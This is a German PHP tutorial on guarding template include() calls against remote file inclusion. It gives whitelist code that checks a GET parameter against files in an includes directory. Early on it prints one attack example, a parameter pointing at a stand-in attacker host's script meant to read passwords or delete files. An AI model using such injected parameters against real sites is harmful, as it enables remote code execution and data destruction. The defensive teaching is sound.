Von Christian Fischer
Bei dynamischen Seiten, die auf Templates beruhen, werden anzuzeigende Inhalte häufig mit einem einfachen Include-Befehl übergeben. Möglichen Angreifern steht so manche Türe offen.
Wird auf der Startseite die anzuzeigende Datei etwa so aufgerufen:
könnten Angreifer ihre eigenen Skripte bequem einladen, indem einfach eine andere Inhaltsdatei in das Template geladen wird:
;
c=http://hackerserver.de/kill.php
Diese Inhalte könnten etwa Passwörter auslesen, das Dateilisting preisgeben oder alle Dateien löschen. Keine Möglichkeit ist im Sinne des Webmasters.
Um einen include()-Aufruf also abzusichern und sicherzustellen, dass weder fremde Dateien noch Scripte als Parameter von experimentierfreudigen Besuchern angehängt werden, helfen einige Code-Zeilen:
Als Voraussetzungen ist eine einheitliche Dateistruktur wichtig. So liegen ab jetzt alle Dateien, die eingebunden werden sollen, in dem Verzeichis /include und haben die Endung .inc.php – das Script läßt sich aber auch anpassen.
Zuerst wird ein Array angelegt, in dem alle Dateien dieses Verzeichnisses ohne Endung stehen – und schon haben wir ein Array, in dem alle erlaubten GET-Parameter stehen.
Beim eigentlichen include()-Befehl steht jetzt nur noch eine if-Abfrage, die das Array überprüft und alle anderen Anfragen auf die Startseite schickt. Alternativ kann man auch eine Fehlerseite einbinden, die zum Beispiel die IP-Adresse loggt und eine Benachrichtigung losschickt.
<?php
$inc_array = array();
$inc_dir=opendir ("./includes");
while ($inc = readdir ($inc_dir)) {
if($inc != "." && $inc != "..") {
$short_inc = str_replace(".inc.php", "", $inc);
array_push ($inc_array, $short_inc);
}
}
closedir($inc_dir);
if (isset($_GET[topic]) && in_array($_GET[topic],
$inc_array) ) {
include("./includes/".$_GET[topic].".inc.php");
} else {
include("./includes/start.inc.php");
}
?>
Wenn das Script einmal eingebunden ist, geht der Aufwand für neue Includes gegen Null: Die neuen Dateien werden einfach in das /include Verzeichnis gelegt und sind sofort automatisch als erlaubt gekennzeichnet.
Weitere Beiträge:
- 5 Ideen wie Sie wiederkehrende Arbeitsschritte & Marketingprozesse gewinnbringend im Internet automatisieren! Ein Gastbeitrag von Robert Nabenhauer.
- Wachstum durch Facebook-Gewinnspiele: Wie Sie über Facebook virale Gewinnspiele & eine schnell wachsende Fangemeinde aufbauen
- Wie Sie aufmerksamkeitsstarke Prelaunch-, Launch- und Relaunch-Szenarien aufbauen und dabei Viralität, Spannung & Kaufkraft erzeugen
- Wie Sie waschechte Iphone-Apps mit PhoneGAP entwickeln, um am lukrativen App-Markt mitzumischen
- Wie Sie Ihr Shop-Sortiment so präsentieren, dass der Kunde in Zukunft mehr findet und eher kauft! Ein Gastbeitrag von Nicolas Schmidt-Voigt.
- 11 faszinierende BuddyPress-Plugins, um kostenlos aus WordPress ein soziales Netzwerk zu zaubern
- Die Vorboten einer neuen Internet-Industrie! Ein exklusiver Rückblick & Blick hinter die Kulissen der Clickbank-Exchange 2011 in New York.


Noch keine Kommentare vorhanden!